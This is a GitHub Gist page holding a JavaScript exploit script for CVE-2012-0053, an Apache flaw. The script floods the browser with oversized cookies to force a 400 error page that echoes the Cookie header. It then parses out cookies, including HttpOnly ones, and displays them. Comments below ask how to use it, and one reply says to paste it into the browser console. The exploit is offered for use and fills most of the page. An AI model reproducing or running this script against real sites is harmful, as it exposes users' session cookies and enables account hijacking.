-
-
Save pilate/1955a1c28324d4724b7b to your computer and use it in GitHub Desktop.
Script to take advantage of CVE-2012-0053
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Most browsers limit cookies to 4k characters, so we need multiple | |
function setCookies (good) { | |
// Construct string for cookie value | |
var str = ""; | |
for (var i=0; i< 819; i++) { | |
str += "x"; | |
} | |
// Set cookies | |
for (i = 0; i < 10; i++) { | |
// Expire evil cookie | |
if (good) { | |
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;"; | |
} | |
// Set evil cookie | |
else { | |
var cookie = "xss"+i+"="+str+";path=/"; | |
} | |
document.cookie = cookie; | |
} | |
} | |
function makeRequest() { | |
setCookies(); | |
function parseCookies () { | |
var cookie_dict = {}; | |
// Only react on 400 status | |
if (xhr.readyState === 4 && xhr.status === 400) { | |
// Replace newlines and match <pre> content | |
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/); | |
if (content.length) { | |
// Remove Cookie: prefix | |
content = content[1].replace("Cookie: ", ""); | |
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g); | |
// Add cookies to object | |
for (var i=0; i<cookies.length; i++) { | |
var s_c = cookies[i].split('=',2); | |
cookie_dict[s_c[0]] = s_c[1]; | |
} | |
} | |
// Unset malicious cookies | |
setCookies(true); | |
alert(JSON.stringify(cookie_dict)); | |
} | |
} | |
// Make XHR request | |
var xhr = new XMLHttpRequest(); | |
xhr.onreadystatechange = parseCookies; | |
xhr.open("GET", "/", true); | |
xhr.send(null); | |
} | |
makeRequest(); |
How can we use it ? Would you mind giving me an example ?
It's written in JavaScript. So the most easy way will be but the code in your command editor which can be found in the console (e.g. firebug console or 'element inspector') and RUN!
MELHOR EXPERIMENTAR COM O CONSOLE DO NAVEGADOR.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
how to use it??